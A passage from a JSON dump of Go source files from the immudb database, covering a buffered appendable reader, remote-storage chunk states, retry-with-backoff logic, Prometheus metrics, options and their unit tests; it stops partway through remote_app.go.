    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage appendable\n\nimport (\n\t\"encoding/binary\"\n\t\"io\"\n)\n\ntype Reader struct {\n\trAt       io.ReaderAt\n\tdata      []byte\n\tdataIndex int\n\teof       bool\n\treadIndex int\n\toffset    int64\n\treadCount int64 // total number of read bytes\n}\n\nfunc NewReaderFrom(rAt io.ReaderAt, off int64, size int) *Reader {\n\treturn &Reader{\n\t\trAt:       rAt,\n\t\tdata:      make([]byte, size),\n\t\tdataIndex: 0,\n\t\teof:       false,\n\t\treadIndex: 0,\n\t\toffset:    off,\n\t}\n}\n\nfunc (r *Reader) Reset() {\n\tr.dataIndex = 0\n\tr.eof = false\n\tr.readIndex = 0\n\tr.offset = 0\n\tr.readCount = 0\n}\n\nfunc (r *Reader) Offset() int64 {\n\treturn r.offset\n}\n\nfunc (r *Reader) ReadCount() int64 {\n\treturn r.readCount\n}\n\nfunc (r *Reader) Read(bs []byte) (n int, err error) {\n\tdefer func() {\n\t\tr.readCount += int64(n)\n\t}()\n\n\tfor {\n\t\tbn := min(r.dataIndex-r.readIndex, len(bs)-n)\n\n\t\tcopy(bs[n:], r.data[r.readIndex:r.readIndex+bn])\n\t\tr.readIndex += bn\n\n\t\tn += bn\n\n\t\tif n == len(bs) {\n\t\t\tbreak\n\t\t}\n\n\t\tif r.eof {\n\t\t\treturn n, io.EOF\n\t\t}\n\n\t\trn, err := r.rAt.ReadAt(r.data, r.offset)\n\n\t\tr.dataIndex = rn\n\t\tr.readIndex = 0\n\t\tr.offset += int64(rn)\n\n\t\tif err == io.EOF {\n\t\t\tr.eof = true\n\t\t\tcontinue\n\t\t}\n\n\t\tif err != nil {\n\t\t\treturn n, err\n\t\t}\n\t}\n\n\treturn n, nil\n}\n\nfunc (r *Reader) ReadByte() (byte, error) {\n\tvar b [1]byte\n\t_, err := r.Read(b[:])\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn b[0], nil\n}\n\nfunc (r *Reader) ReadUint64() (uint64, error) {\n\tvar b [8]byte\n\t_, err := r.Read(b[:8])\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn binary.BigEndian.Uint64(b[:]), nil\n}\n\nfunc (r *Reader) ReadUint32() (uint32, error) {\n\tvar b [4]byte\n\t_, err := r.Read(b[:4])\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn binary.BigEndian.Uint32(b[:]), nil\n}\n\nfunc (r *Reader) ReadUint16() (uint16, error) {\n\tvar b [2]byte\n\t_, err := r.Read(b[:2])\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn binary.BigEndian.Uint16(b[:]), nil\n}\n\nfunc min(a, b int) int {\n\tif a <= b {\n\t\treturn a\n\t}\n\treturn b\n}\n"
  },
  {
    "path": "embedded/appendable/reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage appendable\n\nimport (\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable/mocked\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\ntype mockedIOReaderAt struct {\n}\n\nfunc (w *mockedIOReaderAt) ReadAt(b []byte, off int64) (int, error) {\n\treturn 0, errors.New(\"error\")\n}\n\nfunc TestReader(t *testing.T) {\n\ta := &mocked.MockedAppendable{}\n\n\tr := NewReaderFrom(a, 0, 1024)\n\trequire.NotNil(t, r)\n\n\trequire.Zero(t, r.Offset())\n\trequire.Zero(t, r.ReadCount())\n\n\ta.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\treturn 0, errors.New(\"error\")\n\t}\n\t_, err := r.Read([]byte{0})\n\trequire.Error(t, err)\n\n\ta.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\tbs[0] = 127\n\t\treturn 1, nil\n\t}\n\tb, err := r.ReadByte()\n\trequire.NoError(t, err)\n\trequire.Equal(t, byte(127), b)\n\trequire.Equal(t, int64(1), r.ReadCount())\n\n\ta.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\tbinary.BigEndian.PutUint32(bs, 256)\n\t\treturn 4, nil\n\t}\n\tn32, err := r.ReadUint32()\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint32(256), n32)\n\trequire.Equal(t, int64(5), r.ReadCount())\n\n\ta.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\tbinary.BigEndian.PutUint64(bs, 1024)\n\t\treturn 8, nil\n\t}\n\tn64, err := r.ReadUint64()\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(1024), n64)\n\trequire.Equal(t, int64(13), r.ReadCount())\n\n\tr.Reset()\n\n\trequire.Zero(t, r.Offset())\n\trequire.Zero(t, r.ReadCount())\n}\n\nfunc TestMockedReader(t *testing.T) {\n\tmockedReaderAt := &mockedIOReaderAt{}\n\n\tr := NewReaderFrom(mockedReaderAt, 0, 1024)\n\trequire.NotNil(t, r)\n\n\t_, err := r.ReadByte()\n\trequire.Error(t, err)\n}\n"
  },
  {
    "path": "embedded/appendable/remoteapp/chunk_state.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remoteapp\n\nimport \"fmt\"\n\ntype chunkState int\n\nconst (\n\tchunkState_Invalid chunkState = iota\n\tchunkState_Active\n\tchunkState_Local\n\tchunkState_Uploading\n\tchunkState_UploadError\n\tchunkState_Cleaning\n\tchunkState_Remote\n\tchunkState_Downloading\n\tchunkState_DownloadError\n)\n\nvar chunkStateNames = []string{\n\t\"Invalid\",\n\t\"Active\",\n\t\"Local\",\n\t\"Uploading\",\n\t\"UploadError\",\n\t\"Cleaning\",\n\t\"Remote\",\n\t\"Downloading\",\n\t\"DownloadError\",\n}\n\nfunc (s chunkState) String() string {\n\tif s < 0 || int(s) >= len(chunkStateNames) {\n\t\treturn fmt.Sprintf(\"chunkState(%d)\", s)\n\t}\n\treturn chunkStateNames[s]\n}\n"
  },
  {
    "path": "embedded/appendable/remoteapp/chunk_state_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remoteapp\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestChunkStateString(t *testing.T) {\n\trequire.Equal(t, \"Active\", chunkState_Active.String())\n\trequire.Equal(t, \"chunkState(101)\", chunkState(101).String())\n}\n"
  },
  {
    "path": "embedded/appendable/remoteapp/chunked_process.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remoteapp\n\nimport (\n\t\"context\"\n\t\"math\"\n\t\"math/rand\"\n\t\"time\"\n)\n\ntype chunkedProcess struct {\n\tctx context.Context\n\terr error\n\n\tretryMinDelay time.Duration\n\tretryMaxDelay time.Duration\n\tretryDelayExp float64\n\tretryJitter   float64\n}\n\nfunc (c *chunkedProcess) exponentialBackoff(retries int) time.Duration {\n\treturn time.Duration(\n\t\tmath.Min(\n\t\t\tfloat64(c.retryMinDelay)*math.Pow(c.retryDelayExp, float64(retries)),\n\t\t\tfloat64(c.retryMaxDelay),\n\t\t) * (1.0 - rand.Float64()*c.retryJitter),\n\t)\n}\n\nfunc (c *chunkedProcess) Step(block func() error) {\n\tif c.err != nil {\n\t\treturn\n\t}\n\n\tc.err = block()\n}\n\n// RetryableStep executes given code block retrying it with an exponential backoff delay if needed\n//\n// If the process is already in an erroneous state, the block won't execute.\n//\n// If the `block` function returns an error, the operation won't be retried and that error\n// will be stored as the result of the process. Otherwise the value of `retryNeeded`\n// indicates whether the opration should be retried or not.\n//\n// If the context is cancelled when waiting for a retry, the operation won't be retried\n// and a corresponding error from the context will be stored as the result of the process\nfunc (c *chunkedProcess) RetryableStep(\n\tblock func(retries int, delay time.Duration) (retryNeeded bool, err error),\n) {\n\tif c.err != nil {\n\t\treturn\n\t}\n\n\tfor retries := 0; ; retries++ {\n\t\tdelay := c.exponentialBackoff(retries)\n\n\t\tretryNeeded, err := block(retries, delay)\n\t\tif err != nil {\n\t\t\tc.err = err\n\t\t\treturn\n\t\t}\n\n\t\tif !retryNeeded {\n\t\t\treturn\n\t\t}\n\n\t\t// add delay before the next try\n\t\ttimer := time.NewTimer(delay)\n\t\tselect {\n\t\tcase <-c.ctx.Done():\n\t\t\ttimer.Stop()\n\t\t\tc.err = c.ctx.Err()\n\t\t\treturn\n\t\tcase <-timer.C:\n\t\t}\n\t}\n}\n\nfunc (c *chunkedProcess) Err() error {\n\treturn c.err\n}\n"
  },
  {
    "path": "embedded/appendable/remoteapp/chunked_process_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remoteapp\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestChunkedProcessRetryableStep(t *testing.T) {\n\tcp := chunkedProcess{\n\t\tctx:           context.Background(),\n\t\tretryMinDelay: time.Millisecond,\n\t\tretryMaxDelay: 2 * time.Millisecond,\n\t\tretryDelayExp: 2,\n\t\tretryJitter:   0,\n\t}\n\n\tcallCount := 0\n\tcp.RetryableStep(func(retries int, delay time.Duration) (bool, error) {\n\t\trequire.Equal(t, callCount, retries)\n\t\trequire.True(t, delay >= time.Millisecond)\n\t\trequire.True(t, delay <= 2*time.Millisecond)\n\t\tif callCount < 3 {\n\t\t\tcallCount++\n\t\t\treturn true, nil\n\t\t}\n\t\treturn false, nil\n\t})\n\trequire.NoError(t, cp.Err())\n\n\trequire.Equal(t, 3, callCount)\n}\n\nfunc TestChunkedProcessRetryableStepCancel(t *testing.T) {\n\tctx, cancelFunc := context.WithCancel(context.Background())\n\n\tcp := chunkedProcess{\n\t\tctx:           ctx,\n\t\tretryMinDelay: time.Second,\n\t\tretryMaxDelay: 2 * time.Second,\n\t\tretryDelayExp: 2,\n\t\tretryJitter:   0,\n\t}\n\n\tgo func() {\n\t\ttime.Sleep(time.Millisecond)\n\t\tcancelFunc()\n\t}()\n\tcp.RetryableStep(func(retries int, delay time.Duration) (bool, error) {\n\t\treturn true, nil\n\t})\n\trequire.Error(t, cp.ctx.Err())\n\trequire.Equal(t, cp.ctx.Err(), cp.Err())\n\trequire.True(t, errors.Is(cp.Err(), context.Canceled))\n\n\tcp.Step(func() error {\n\t\trequire.Fail(t, \"Step should not be run\")\n\t\treturn nil\n\t})\n}\n\nfunc TestChunkedProcessRetryableStepDeadline(t *testing.T) {\n\tctx, cancelFunc := context.WithTimeout(context.Background(), time.Millisecond)\n\tdefer cancelFunc()\n\n\tcp := chunkedProcess{\n\t\tctx:           ctx,\n\t\tretryMinDelay: time.Second,\n\t\tretryMaxDelay: 2 * time.Second,\n\t\tretryDelayExp: 2,\n\t\tretryJitter:   0,\n\t}\n\n\tcp.RetryableStep(func(retries int, delay time.Duration) (retryNeeded bool, err error) {\n\t\treturn true, nil\n\t})\n\trequire.Error(t, cp.ctx.Err())\n\trequire.Equal(t, cp.ctx.Err(), cp.Err())\n\trequire.True(t, errors.Is(cp.Err(), context.DeadlineExceeded))\n\tcp.Step(func() error {\n\t\trequire.Fail(t, \"Step should not be run\")\n\t\treturn nil\n\t})\n\n}\n\nfunc TestChunkedProcessRetryableStepError(t *testing.T) {\n\tcp := chunkedProcess{\n\t\tctx:           context.Background(),\n\t\tretryMinDelay: time.Second,\n\t\tretryMaxDelay: 2 * time.Second,\n\t\tretryDelayExp: 2,\n\t\tretryJitter:   0,\n\t}\n\n\terrToReturn := errors.New(\"Test error\")\n\tcp.RetryableStep(func(retries int, delay time.Duration) (bool, error) {\n\t\treturn true, errToReturn\n\t})\n\trequire.Equal(t, errToReturn, cp.Err())\n\tcp.Step(func() error {\n\t\trequire.Fail(t, \"Step should not be run\")\n\t\treturn nil\n\t})\n\n}\n\nfunc TestChunkedProcessNoRetryAfterError(t *testing.T) {\n\tcp := chunkedProcess{\n\t\tctx: context.Background(),\n\t}\n\n\tfirstStepCalled := 0\n\tsecondStepCalled := 0\n\n\tcp.Step(func() error {\n\t\tfirstStepCalled++\n\t\treturn nil\n\t})\n\trequire.NoError(t, cp.Err())\n\n\tcp.Step(func() error {\n\t\tsecondStepCalled++\n\t\treturn errors.New(\"Stopping process\")\n\t})\n\trequire.Error(t, cp.Err())\n\n\tcp.Step(func() error {\n\t\trequire.Fail(t, \"This step should not be called\")\n\t\treturn nil\n\t})\n\n\tcp.RetryableStep(func(retries int, delay time.Duration) (retryNeeded bool, err error) {\n\t\trequire.Fail(t, \"This step should not be called\")\n\t\treturn false, nil\n\t})\n\n\trequire.Equal(t, 1, firstStepCalled)\n\trequire.Equal(t, 1, secondStepCalled)\n}\n"
  },
  {
    "path": "embedded/appendable/remoteapp/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remoteapp\n\nimport \"errors\"\n\nvar (\n\tErrIllegalArguments        = errors.New(\"illegal arguments\")\n\tErrMissingRemoteChunk      = errors.New(\"missing data on the remote storage\")\n\tErrInvalidLocalStorage     = errors.New(\"invalid local storage\")\n\tErrInvalidRemoteStorage    = errors.New(\"invalid remote storage\")\n\tErrInvalidChunkState       = errors.New(\"invalid chunk state\")\n\tErrChunkUploaded           = errors.New(\"already uploaded chunk is not writable\")\n\tErrCompressionNotSupported = errors.New(\"compression is currently not supported\")\n\tErrCantDownload            = errors.New(\"can not download chunk\")\n\tErrCorruptedMetadata       = errors.New(\"corrupted metadata in a remote chunk\")\n)\n"
  },
  {
    "path": "embedded/appendable/remoteapp/metrics.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remoteapp\n\nimport (\n\t\"github.com/prometheus/client_golang/prometheus\"\n\t\"github.com/prometheus/client_golang/prometheus/promauto\"\n)\n\nvar (\n\t// ---- Opening remote chunks ---------------------------------------\n\n\tmetricsOpenTime = promauto.NewHistogram(prometheus.HistogramOpts{\n\t\tName:    \"immudb_remoteapp_open_time\",\n\t\tHelp:    \"Histogram of the total time required to open a chunk of data stored on an immudb remote storage\",\n\t\tBuckets: []float64{.1, .25, .5, 1, 2.5, 5, 10, 25, 50},\n\t})\n\n\tmetricsCorruptedMetadata = promauto.NewCounter(prometheus.CounterOpts{\n\t\tName: \"immudb_remoteapp_corrupted_metadata\",\n\t\tHelp: \"Number of corrupted metadata detections in an immudb remote storage\",\n\t})\n\n\t// ---- Uncached reads ---------------------------------------\n\n\tmetricsUncachedReadEvents = promauto.NewCounterVec(prometheus.CounterOpts{\n\t\tName: \"immudb_remoteapp_uncached_read_events\",\n\t\tHelp: \"Direct (uncached) read event counters for immudb remote storage\",\n\t}, []string{\"event\"})\n\n\tmetricsUncachedReads      = metricsUncachedReadEvents.WithLabelValues(\"total_reads\")\n\tmetricsUncachedReadErrors = metricsUncachedReadEvents.WithLabelValues(\"errors\")\n\tmetricsUncachedReadBytes  = promauto.NewCounter(prometheus.CounterOpts{\n\t\tName: \"immudb_remoteapp_uncached_read_bytes\",\n\t\tHelp: \"Direct (uncached) read byte counters for immudb remote storage\",\n\t})\n\n\t// ---- Reads ---------------------------------------\n\n\tmetricsReadEvents = promauto.NewCounterVec(prometheus.CounterOpts{\n\t\tName: \"immudb_remoteapp_read_events\",\n\t\tHelp: \"Read event counters for immudb remote storage\",\n\t}, []string{\"event\"})\n\tmetricsReads      = metricsReadEvents.WithLabelValues(\"total_reads\")\n\tmetricsReadErrors = metricsReadEvents.WithLabelValues(\"errors\")\n\tmetricsReadBytes  = promauto.NewCounter(prometheus.CounterOpts{\n\t\tName: \"immudb_remoteapp_read_bytes\",\n\t\tHelp: \"Total number of bytes read from immudb remote storage (including cached reads)\",\n\t})\n\n\t// ---- Uploads ---------------------------------------\n\n\tmetricsUploadEvents = promauto.NewCounterVec(prometheus.CounterOpts{\n\t\tName: \"immudb_remoteapp_upload_events\",\n\t\tHelp: \"Immudb remote storage upload event counters\",\n\t}, []string{\"event\"})\n\n\tmetricsUploadStarted   = metricsUploadEvents.WithLabelValues(\"started\")\n\tmetricsUploadFinished  = metricsUploadEvents.WithLabelValues(\"finished\")\n\tmetricsUploadFailed    = metricsUploadEvents.WithLabelValues(\"failed\")\n\tmetricsUploadCancelled = metricsUploadEvents.WithLabelValues(\"cancelled\")\n\tmetricsUploadRetried   = metricsUploadEvents.WithLabelValues(\"retried\")\n\tmetricsUploadSucceeded = metricsUploadEvents.WithLabelValues(\"succeeded\")\n\n\tmetricsUploadTime = promauto.NewHistogram(prometheus.HistogramOpts{\n\t\tName:    \"immudb_remoteapp_upload_time\",\n\t\tHelp:    \"Histogram of the total time required to upload a chunk to the remote storage\",\n\t\tBuckets: []float64{.1, .25, .5, 1, 2.5, 5, 10, 25, 50},\n\t})\n\n\t// ---- Downloads ---------------------------------------\n\n\tmetricsDownloadEvents = promauto.NewCounterVec(prometheus.CounterOpts{\n\t\tName: \"immudb_remoteapp_download_events\",\n\t\tHelp: \"Immudb remote storage download event counters\",\n\t}, []string{\"event\"})\n\n\tmetricsDownloadStarted   = metricsDownloadEvents.WithLabelValues(\"started\")\n\tmetricsDownloadFinished  = metricsDownloadEvents.WithLabelValues(\"finished\")\n\tmetricsDownloadFailed    = metricsDownloadEvents.WithLabelValues(\"failed\")\n\tmetricsDownloadCancelled = metricsDownloadEvents.WithLabelValues(\"cancelled\")\n\tmetricsDownloadRetried   = metricsDownloadEvents.WithLabelValues(\"retried\")\n\tmetricsDownloadSucceeded = metricsDownloadEvents.WithLabelValues(\"succeeded\")\n\n\t// ---- Chunk statistics --------------------------------\n\n\tmetricsChunkCounts = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\t\tName: \"immudb_remoteapp_chunk_count\",\n\t\tHelp: \"Number of chunks used for immudb remote storage\",\n\t}, []string{\"path\", \"state\"})\n\n\tmetricsChunkDataBytes = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\t\tName: \"immudb_remoteapp_chunk_bytes\",\n\t\tHelp: \"Total number of bytes stored in chunks\",\n\t}, []string{\"path\", \"state\"})\n)\n"
  },
  {
    "path": "embedded/appendable/remoteapp/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remoteapp\n\nimport (\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n)\n\ntype Options struct {\n\tmultiapp.Options\n\tparallelUploads int\n\n\tretryMinDelay    time.Duration\n\tretryMaxDelay    time.Duration\n\tretryDelayExp    float64\n\tretryDelayJitter float64\n}\n\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\tOptions:          *multiapp.DefaultOptions(),\n\t\tparallelUploads:  10,\n\t\tretryMinDelay:    time.Second,\n\t\tretryMaxDelay:    2 * time.Minute,\n\t\tretryDelayExp:    2,\n\t\tretryDelayJitter: 0.1,\n\t}\n}\n\nfunc (opts *Options) Valid() bool {\n\t// TODO: implement signature `Validate() error``\n\t// TODO: Compression is not supported ATM, this must be disabled\n\treturn opts != nil &&\n\t\topts.Options.Validate() == nil &&\n\t\topts.parallelUploads > 0 &&\n\t\topts.parallelUploads < 100000 &&\n\t\topts.retryMinDelay > 0 &&\n\t\topts.retryMaxDelay > 0 &&\n\t\topts.retryDelayExp > 1\n}\n\nfunc (opts *Options) WithParallelUploads(parallelUploads int) *Options {\n\topts.parallelUploads = parallelUploads\n\treturn opts\n}\n\nfunc (opts *Options) WithRetryMinDelay(retryMinDelay time.Duration) *Options {\n\topts.retryMinDelay = retryMinDelay\n\treturn opts\n}\n\nfunc (opts *Options) WithRetryMaxDelay(retryMaxDelay time.Duration) *Options {\n\topts.retryMaxDelay = retryMaxDelay\n\treturn opts\n}\n\nfunc (opts *Options) WithRetryDelayExp(retryDelayExp float64) *Options {\n\topts.retryDelayExp = retryDelayExp\n\treturn opts\n}\n\nfunc (opts *Options) WithRetryDelayJitter(retryDelayJitter float64) *Options {\n\topts.retryDelayJitter = retryDelayJitter\n\treturn opts\n}\n"
  },
  {
    "path": "embedded/appendable/remoteapp/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remoteapp\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestInvalidOptions(t *testing.T) {\n\trequire.False(t, (*Options)(nil).Valid())\n\trequire.False(t, (&Options{}).Valid())\n}\n\nfunc TestDefaultOptions(t *testing.T) {\n\trequire.True(t, DefaultOptions().Valid())\n}\n\nfunc TestValidOptions(t *testing.T) {\n\topts := DefaultOptions()\n\n\trequire.Equal(t, 11, opts.WithParallelUploads(11).parallelUploads)\n\trequire.Equal(t, 3*time.Second, opts.WithRetryMinDelay(3*time.Second).retryMinDelay)\n\trequire.Equal(t, 7*time.Second, opts.WithRetryMaxDelay(7*time.Second).retryMaxDelay)\n\trequire.Equal(t, 1.3, opts.WithRetryDelayExp(1.3).retryDelayExp)\n\trequire.Equal(t, 0.2, opts.WithRetryDelayJitter(0.2).retryDelayJitter)\n\n\trequire.True(t, opts.Valid())\n}\n"
  },
  {
    "path": "embedded/appendable/remoteapp/remote_app.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remoteapp\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"math\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/fileutils\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/codenotary/immudb/embedded/appendable/singleapp\"\n\t\"github.com/codenotary/immudb/embedded/cache\"\n\t\"github.com/codenotary/immudb/embedded/remotestorage\"\n\t\"github.com/prometheus/client_golang/prometheus\"\n)\n\ntype chunkInfo struct {\n\tstate        chunkState\n\tstorageSize  int64              // Used storage size in bytes\n\tcancelUpload context.CancelFunc // Set to non-nil when the upload is in progress\n}\n\ntype RemoteStorageAppendable struct {\n\t*multiapp.MultiFileAppendable\n\trStorage   remotestorage.Storage\n\tpath       string\n\tfileExt    string\n\tfileMode   os.FileMode\n\tremotePath string\n\n\tmutex             sync.Mutex\n\tchunkInfos        []chunkInfo // keys are are chunk IDs\n\tshutdownWaitGroup sync.WaitGroup\n\n\tretryMinDelay time.Duration\n\tretryMaxDelay time.Duration\n\tretryDelayExp float64\n\tretryJitter   float64\n\n\tmainContext           context.Context\n\tmainCancelFunc        context.CancelFunc\n\tuploadThrottler       chan struct{}\n\tchunkUploadFinished   *sync.Cond\n\tchunkDownloadFinished *sync.Cond\n\n\tstatsUpdaterWaitGroup sync.WaitGroup\n}\n\nfunc Open(path string, remotePath string, storage remotestorage.Storage, opts *Options) (*RemoteStorageAppendable, error) {\n\tif storage == nil ||\n\t\t!opts.Valid() {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\tif remotePath != \"\" && !strings.HasSuffix(remotePath, \"/\") {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\tif strings.HasPrefix(remotePath, \"/\") {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\tif strings.Contains(remotePath, \"//\") {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tlog.Printf(\"Opening remote storage at %s\", remotePath)\n\n\tmainContext, mainCancelFunc := context.WithCancel(context.Background())\n\n\tret := &RemoteStorageAppendable{\n\t\trStorage:        storage,\n\t\tpath:            path,\n\t\tfileExt:         opts.GetFileExt(),\n\t\tfileMode:        opts.GetFileMode(),\n\t\tremotePath:      remotePath,\n\t\tretryMinDelay:   opts.retryMinDelay,\n\t\tretryMaxDelay:   opts.retryMaxDelay,\n\t\tretryDelayExp:   opts.retryDelayExp,\n\t\tretryJitter:     opts.retryDelayJitter,\n\t\tmainContext:     mainContext,\n\t\tmainCancelFunc:  mainCancelFunc,\n\t\tuploadThrottler: make(chan struct{}, opts.parallelUploads),\n\t}\n\tret.chunkUploadFinished = sync.NewCond(&ret.mutex)\n\tret.chunkDownloadFinished = sync.NewCond(&ret.mutex)\n\n\tmApp, err := multiapp.OpenWithHooks(path, ret, &opts.Options)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret.MultiFileAppendable = mApp\n\n\t// Start uploading all chunks that are still stored locally\n\tret.mutex.Lock()\n\tfor chunkID, chunkInfo := range ret.chunkInfos {\n\t\tif chunkInfo.state == chunkState_Local {\n\t\t\tret.uploadChunk(int64(chunkID), false)\n\t\t}\n\t}\n\tret.mutex.Unlock()\n\n\tret.startStatsUpdater()\n\n\treturn ret, nil\n}\n\nfunc chunkIdFromName(filename string) (int64, error) {\n\treturn strconv.ParseInt(strings.TrimSuffix(filename, filepath.Ext(filename)), 10, 64)\n}\n\nfunc (r *RemoteStorageAppendable) chunkedProcess(ctx context.Context) *chunkedProcess {\n\treturn &chunkedProcess{\n\t\tctx:           ctx,\n\t\tretryMinDelay: r.retryMinDelay,\n\t\tretryMaxDelay: r.retryMaxDelay,\n\t\tretryDelayExp: r.retryDelayExp,\n\t\tretryJitter:   r.retryJitter,\n\t}\n}\n\nfunc (r *RemoteStorageAppendable) uploadFinished(chunkID int64, state chunkState) {\n\tr.mutex.Lock()\n\tdefer r.mutex.Unlock()\n\n\tlog.Printf(\"Uploading of chunk %d finished in state: %v\", chunkID, state)\n\n\tr.chunkInfos[chunkID].state = 